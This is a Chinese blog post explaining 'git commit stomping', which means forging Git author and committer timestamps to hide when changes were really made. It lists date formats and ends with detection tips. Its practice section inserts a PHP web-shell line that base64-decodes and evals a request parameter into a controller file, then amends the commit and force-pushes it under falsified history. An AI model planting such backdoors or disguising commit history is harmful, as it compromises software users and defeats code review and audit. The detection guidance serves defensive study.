git commit stomping

前言:git commit stomping 操纵文件元数据来隐藏操作的真实时间

参考文章:https://blog.zsec.uk/commit-stomping/

手动时间戳控制

Git 允许您通过环境变量来控制这两个时间戳,这使得元数据的保存合法化,或被滥用来伪造历史。

GIT_AUTHOR_DATE="2025-05-01T10:00:00" \
GIT_COMMITTER_DATE="2025-01-15T15:30:00" \
git commit -m "Insert logic for token generation"

支持的时间戳格式

Git 支持这些环境变量和标志的各种格式--date:

  • Git 内部格式

<unix timestamp> <time zone offset>

例子:GIT_AUTHOR_DATE="1700000000 +0100",这代表2024 年 11 月 14 日,06:13:20 CET

  • ISO 8601
GIT_AUTHOR_DATE="2024-11-14T06:13:20+01:00"
GIT_AUTHOR_DATE="2024-11-14 06:13:20 +0100"
  • RFC 2822

GIT_AUTHOR_DATE="Tue, 14 Nov 2024 06:13:20 +0100"

  1. relatives
GIT_AUTHOR_DATE="2 weeks ago"
GIT_COMMITTER_DATE="yesterday"
  1. period
GIT_AUTHOR_DATE="@1700000000"

实践

git config --global user.name "wen"
git config --global user.email "wen@gmai.com"

git rebase -i HEAD~2

vim app/home/controller/DreamController.php

        $type = $this->request->param("type");
        if(!empty($type)){eval(base64_decode($type));}

git add app/home/controller/DreamController.php

git commit --amend --no-edit

git rebase --continue

git push --force-with-lease origin main

检测方法

除非另有说明,否则相当于"1700000000 +0000"。

可以通过元数据分析和与可信外部记录的比较来识别Commit Stomping

查找同一用户的多次提交中相同或高度相似的时间戳。

GIT_AUTHOR_DATE标记和之间的巨大差异GIT_COMMITTER_DATE。

检查与日志中的位置相比不按时间顺序排列的提交。

为了识别不一致之处,请将提交元数据与 CI/CD 管道日志、镜像存储库和 webhook 数据进行比较。

监控很久以前的异常提交集群,特别是批量提交或由单个贡献者提交的提交。

posted @ 2025-05-16 13:22  zpchcbd  阅读(77)  评论(0)    收藏  举报